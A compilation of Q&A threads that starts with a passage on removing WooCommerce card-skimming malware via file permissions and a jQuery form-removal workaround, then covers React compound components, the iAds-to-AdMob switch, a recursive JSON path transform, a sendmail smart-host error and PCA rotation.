Mientras resuelven el problema., porque el principal problema lo tiene el propietario del hosting, al que tienes que informarle tal cual te lo escribo. Tú, si quieres seguir mostrando tu página quita todos los permisos al archivo nuevo y sano antes hackeado que es form-checkout.php. Así no podrá reescribirlo y tú podrás seguir mostrando la página. Inconvenientes son que nadie podrá pagar y Woocommerce no podrá actualizarse., pero no robaran los datos de las tarjetas de tus clientes.

A: This malware basically works with Javascript. And a quick workaround is to remove the form using Javascript, instead of just hiding it with CSS.
(function($){
    $(document).ready(function() {
        var anullMalware = function() {
            setTimeout(function() {
                $('#pay_forma').html('');//Remove the malware form
                $('#place_order').prop('disabled', false).attr('id', 'placeFire');//Enable order button and change the ID
            }, 2000);
        }

        $('.input-text').on('change', function() {
            anullMalware();// Call the function whenever a field changes
        })
        anullMalware();// Call the function on page load
    });
}(jQuery));

setTimeout is important so we're sure the form has loaded before attempting to remove it. And while the form is removed on page load, we're also attempting to remove it whenever a text field changes. This is a bit of future proof, in case the malware gets smarter.

A: Hi there i found the problem it came in wp-rocket nulled pluging, check your plugins folders on file manager: if you find one that you dont know open it in my case the name of the plugin was wpyi2, and it has a php and read me file both encryted, i erase, deactivate wp-rocket (is the only nulled plugin i have), re install wp core and no problem so far.


text:
Q: How to implement a React Component with sub-components and call them? How to implement a React component with a similar structure of react-bootstrap Modal?
<Modal show={this.state.show} onHide={this.handleClose}>
  <Modal.Header closeButton>
    <Modal.Title>Modal heading</Modal.Title>
  </Modal.Header>
  <Modal.Body>

My Body

  </Modal.Body>
  <Modal.Footer>
    <Button onClick={this.handleClose}>Close</Button>
  </Modal.Footer>
</Modal>

I was working a solution like this:
import React, { Component } from 'react'
import CardHeader from './CardHeader.jsx'
import CardBody from './CardBody.jsx'
import CardFooter from './CardFooter.jsx'

class Card extends Component {

  render() {
    return (

        {this.Header}
        {this.Body}
        {this.Footer}

    )
  }
}

Card.Header = CardHeader
Card.Body   = CardBody
Card.Footer = CardFooter

export default Card

Sub-components(all are equals) and receive a text prop to render:
import React, { Component } from 'react'

export default class CardHeader extends Component {
  render() {
    return (

        {this.props.text}

    )
  }
}

And calling them:
<Card>
    <Card.Header text='Header'/>
    <Card.Body text='Body'/>
    <Card.Footer text='Footer'/>
</Card>

But didn't work!

A: Effectively what you are doing is just rendering the children of the parent component.
So if you just change your Card component to...
import React, { Component } from 'react'

class Card extends Component {

  render() {
    return (

        {this.props.children}

    )
  }
}

export default Card

It will then render anything that you pass into the component.
For exporting and being able to use Card.Header etc... you can create a new const
const card = {
    Header: HeaderComponent,
    Body: BodyComponent,
    Footer: FooterComponent
};

export {
    card as Card
}

A: Change your components to render their children
import React, { Component } from 'react'

export default class CardHeader extends Component {
  render() {
    return (

        {this.props.children}

    )
  }
}

Add static properties to Card
import React, { Component } from 'react'
import CardHeader from './CardHeader.jsx'
import CardBody from './CardBody.jsx'
import CardFooter from './CardFooter.jsx'

class Card extends Component {
  static Header = CardHeader;
  static Body = CardBody;
  static Footer = CardFooter;

  render() {
    return (
      { this.props.children }
    )
  }
}

export default Card;

Use it like so:
<Card>
  <Card.Header>Header</Card/Header>
  <Card.Body>Body</Card.Body>
  <Card.Footer>Footer</Card.Footer>
</Card>


text:
Q: Xcode 9 Swift 4 AR app add ads I am trying to add iads to my Xcode9/Swift 4 AR project.
From searching online, adding iads to the viewcontroller should be as easy as dragging the iad banner view into the main.storyboard, however there doesn't seem to be any options for ads in Xcode 9. Is this something with the new Xcode version? Or do I need to install some sort of add plugin to use iads. If for some reason iads got removed from Xcode I could always fall back on adMob for IOS.
Thanks, any info helps!

A: As far as I know, iAds have been depreciated. There are multiple in-app ad services which you can use, one of the most popular ones is, as you mentioned, AdMobs.
You would need to create an AdMob account, and install the Google AdMobs SDK, which is easily done through terminal/CocoaPods.
To create ads you need to first create an Ad Unit, after you've signed up to AdMobs.
Once you have done that, use this documentation, depending on the type of ad(s) you wish to display, to invoke and display ads. Keep in mind, different ads which require different delegates/methods.
But in regards to your question, you are not wrong nor is there any issues. Simple iAds have been abandoned, in essence.

A: iAd App Network got shut down at the end of 2016. You should use adMob as you stated, or some other form of ads for your app.


text:
Q: Get all its parent nodes path for each child nodes Hi I have below code running, but I would like to add one more property called path which should consist all its  parent node path
Expected output I need something as I have shown for cardTtile, so I need same for each node.
[
  {
    "id": "cardShop",
    "key": "cardShop",
    "title": "cardShop",
    "selectable": false,
     "path":cardShop"
    "children": [
      {
        "id": "cardData",
        "key": "cardData",
        "title": "cardData",
        "parentId": "cardShop",
        "path":cardShop.cardData"
        "selectable": false,
        "children": [
          {
            "id": "cardTitle",
            "key": "cardTitle",
            "title": "cardTitle",
            "parentId": "cardData",
             "path":cardShop.cardData.cardTitle"
            "isLeaf": true
          },
          {
            "id": "cardType",
            "key": "cardType",
            "title": "cardType",
            "parentId": "cardData",
            "isLeaf": true
          },
          {
            "id": "dtmProductName",
            "key": "dtmProductName",
            "title": "dtmProductName",
            "parentId": "cardData",
            "isLeaf": true
          },
          {
            "id": "viewAllCards",
            "key": "viewAllCards",
            "title": "viewAllCards",
            "parentId": "cardData",
            "selectable": false,
            "children": [
              {
                "id": "url",
                "key": "url",
                "title": "url",
                "parentId": "viewAllCards",
                "isLeaf": true
              },
              {
                "id": "text",
                "key": "text",
                "title": "text",
                "parentId": "viewAllCards",
                "isLeaf": true
              }
            ]
          }
        ]
      },
      {
        "id": "eligibilityChecker",
        "key": "eligibilityChecker",
        "title": "eligibilityChecker",
        "parentId": "cardShop",
        "selectable": false,
        "children": [
          {
            "id": "header",
            "key": "header",
            "title": "header",
            "parentId": "eligibilityChecker",
            "isLeaf": true
          },
          {
            "id": "subHeader",
            "key": "subHeader",
            "title": "subHeader",
            "parentId": "eligibilityChecker",
            "isLeaf": true
          },
          {
            "id": "bulletPoints",
            "key": "bulletPoints",
            "title": "bulletPoints",
            "parentId": "eligibilityChecker",
            "isLeaf": true
          }
        ]
      }
    ]
  }
]

I have below running code example here. I tried to persist parentKey recursively but its not giving me expected output.

const transform = data => {
 const loop  = (data, parent) => Object.entries(data).map(([key, value]) => {
    let additional = parent? {
      parentId: parent
    }:{}

    if(typeof value === 'object' && !Array.isArray(value)){
      additional = {
       ...additional,
       selectable: false,
       children: loop(value, key)

      }
    }else{
      additional.isLeaf = true
    }

    return {
      id: key,
      key,
      title: key,
      ...additional
    }
 })

 return loop(data)
}

let jsonObj = {
  "data": {
    "cardShop": {
      "cardData": {
        "cardTitle": "The Platinum Card®",
        "cardType": "credit-cards",
        "dtmProductName": "PlatinumCard",
        "viewAllCards": {
          "url": "credit-cards/all-cards",
          "text": "All Cards"
        }
      },
      "eligibilityChecker": {
        "header": "Check your eligibility",
        "subHeader": "The Platinum Card®",
        "bulletPoints": [
          "Only takes a couple of minutes to complete",
          "Will not impact your credit rating",
          "Allows you to apply with confidence"
        ]
      }
    }
  }
}

console.log(transform(jsonObj.data))
]

You suggestion would be appreciated
Thanks

A: You could take another variable for path and add the actual key to it.

const transform = data => {
    const loop = (data, parentId, previousPath = '') => Object
        .entries(data)
        .map(([key, value]) => {
            const
                additional = parentId ? { parentId } : {},
                path = previousPath  + (previousPath && '.') + key;

            Object.assign(
                additional,
                value && typeof value === 'object' && !Array.isArray(value)
                    ? { selectable: false, children: loop(value, key, path) }
                    : { isLeaf: true }
            );

            return { id: key, key, title: key, path, ...additional };
        });

    return loop(data);
}

const data = { cardShop: { cardData: { cardTitle: "The Platinum Card®", cardType: "credit-cards", dtmProductName: "PlatinumCard", viewAllCards: { url: "credit-cards/all-cards", text: "All Cards" } }, eligibilityChecker: { header: "Check your eligibility", subHeader: "The Platinum Card®", bulletPoints: ["Only takes a couple of minutes to complete", "Will not impact your credit rating", "Allows you to apply with confidence"] } } };

console.log(transform(data));
.as-console-wrapper { max-height: 100% !important; top: 0; }


text:
Q: Deferred: Name server host name lookup failure (smart host) am using the sendmail to send an email and configure it as the following :
/etc/mail/sendmail.mc
define(`SMART_HOST',`smtp-server')dnl
define(`RELAY_MAILER_ARGS', `TCP $h 587')
define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl
FEATURE(`authinfo',`hash /etc/mail/authinfo')dnl

/etc/mail/authinfo
AuthInfo:smtp-server "U:username@host.com" "P:password" "M:PLAIN"

after that i run the following command :
$ m4 sendmail.mc >sendmail.cf
$ makemap hash authinfo < authinfo
$ /etc/init.d/sendmail restart
and test it with :
/usr/sbin/sendmail -v mabdalmahdi@gmail.com < body.txt
but still cant receive any email ?? and i got the following error
Deferred: Name server:smtp-server-name: host name lookup failure <br>

i tried i can ping to the smtp server , and i run the command dig smpt-server-name
i cant see any thing wrong ... why i got this message and cant revise an email.

A: Try:
define(`SMART_HOST',`[smtp-server]')dnl

It should turn off lookups for MX records. If it does not help try Ipv4 address inside square brackets.


text:
Q: "Balancing" principal components I apologize in advance for the poorness of my statistics and mathematics.
I am doing PCA on data (emission spectra) that I know a priori should have two strong components (there are two fluorescent proteins) and a residue; I expect the first two components to be the emission spectra of the two protein, and a residual variance. However, when I run PCA the second component shows a small negative peak corresponding to the first component, as if "maximizing" the first component take away a part of the second. When I try to scatter my data on the first two components, this is reflected by the fact that there is a correlation between the first two components values; I would like to "balance" the first two components, I don't know if this is clear.
I guess that maybe PCA is not the best way to perform my analysis, unfortunately I am not familiar with any dimensionality reduction algorithm. which is the simplest similar statistical analysis where I can choose the number of "a priori" components?

A: The PDFs (distributions) of the underlying variables or inputs to your PCA are really the key to how you address your question. The most important consideration is scaling which means that 1) they are "continuously" distributed, and 2) that they have been standardized to a mean of zero and std dev of one prior to the PCA. Of course, standardizing is only needed for OLS PCA since it's not a scale-invariant technique and would result in factors dominated by those variables with the largest std deviations. Maximum likelihood PCA is scale-invariant. That said, PCA with categorical or dummy variables is not a good idea. A separate class of dimension reduction techniques for categorical information (e.g., correspondence analysis) has been developed for data of this type.
A few things are always worth reviewing about PCA. First and foremost, it is a highly subjective technique dependent on analyst choice across a myriad of possible model options and specifications. Basically, this means KISS. Next, and in the absence of rotation, PCA produces 1) a mathematically unique solution, 2) orthogonal (right angled, uncorrelated), linear components, 3) Gaussian-like residuals, and 4) the first factor is a kind of "junk" factor (e.g., see Morris Holbrook's -- Columbia Marketing -- papers on FA from the 80s) where many of the input variables will load highly on the first dimension or PC.
Given your description, one immediate option would be to try rotating the PCA solution. There are many ways of doing this, but start with a plain vanilla, orthogonal rotation such as varimax. This would eliminate the uniqueness of the solution, but could provide a better fit in terms of the loadings (or correlations) of the inputs relative to the solution. The usual goal of rotation is to find "simple structure" across the dimensions. The objective of rotation to simple structure is to adjust the loadings in such a way that the inputs load on one dimension and are zero otherwise. Note that rotation does not change the component eigenvalues or "variance explained" across the dimensions. Next, you've indicated that there is strong correlation between the resulting components. This suggests trying an oblique rotation which would relax the constraint that the factors be orthogonal. Promax is one such approach.
Since we know nothing about the variables that you're using as inputs, it could be that taking some transformations prior to doing PCA could improve the solution in the absence of rotation since all PCA is sensitive to outliers. The goal of these transformations would be to further symmetrize any skewness in the residuals output from the untransformed model. Transformations which compress or expand the input PDFs are to be leveraged.
Based on the plethora of 20th c tricks that were developed for outlier identification and deletion, many statisticians would recommend dropping outlying values from the analysis. Personally, I strongly recommend not deleting outliers as they contain valuable information about the behaviors of the inputs, that is, in the absence of ancillary information confirming that these outlying values aren't illegal, fraudulent, erroneous or otherwise "bad" data.
One additional possible avenue is to leverage robust approaches to PCA. These methods are less sensitive to outliers or leverage probabilistic distributions that explicitly model that information. Here are some links to papers that describe them. Both papers have extensive bibliographies for deeper dives. Bear in mind that the cumulative impact from applying any or all of these nontraditional options may completely overturn the resulting solution relative to expectations based on published research using traditional PCA.
Robust Principal Component Analysis? by Candes, Li, Ma and Wright, 2009
Cauchy Principal Component Analysis, Xie and Xing, 2015